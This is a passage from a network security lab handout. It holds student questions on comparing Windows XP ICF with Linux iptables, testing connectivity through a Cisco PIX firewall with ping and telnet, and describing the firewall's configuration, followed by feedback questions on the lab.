Q2.3. As far as personal firewall software goes, how does windows XP's ICF compared to Linux's iptables?
Section 3
TA Signature _______________________________
Q3.1. Can you ping each of these?
Q3.2. Can you ping the address of the server (192.168.0.10) ?
Q3.3. What does this command show? What does it mean?
Q3.4. Try to access it from a web browser and see if you can do that. You could also telnet to port 80 and check this. Can you do it?
77
Q3.5. Finally, can you ping the R2 terminal machine from the outside?
Q3.6. Describe how the firewall is configured at this point. What type of packets does it allow or disallow and from where? You can draw diagrams to explain this better.
Q3.7.Write the address of the web server, for the outside interface, below.
Q3.8.Were you able to connect to the server from the outside? Can you ping this server from the outside?
Q3.9.What kind of traffic does it allow and from where to where? You can draw diagrams to explain this.
Turn in a printout of the output of the command, given below, with your lab.pixGxx(config)# write terminal
Q3.10. This was very simple network architecture, designed to give you a brief overview of how Cisco PIX Firewalls work. How does the Cisco PIX firewall differ from Linux ipchains capability that we looked at before? By looking on the web, determine which which firewall methodology is common in industry and why. Summarize your conclusion here and give references to justify your answer.
78
General Questions
How long did it take you to complete this lab? Was it an appropriate length lab?
What corrections and or improvements do you suggest for this lab? You may cross out and edit the text of the lab on previous pages to make corrections. What corrections and or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You need to be very specific and provide details. You need to actually do the suggested additions in the lab and provide solutions to your suggested additions. Caution as usual: only extract and use the tools you downloaded in the safe and approved environment of the network security laboratory.
79
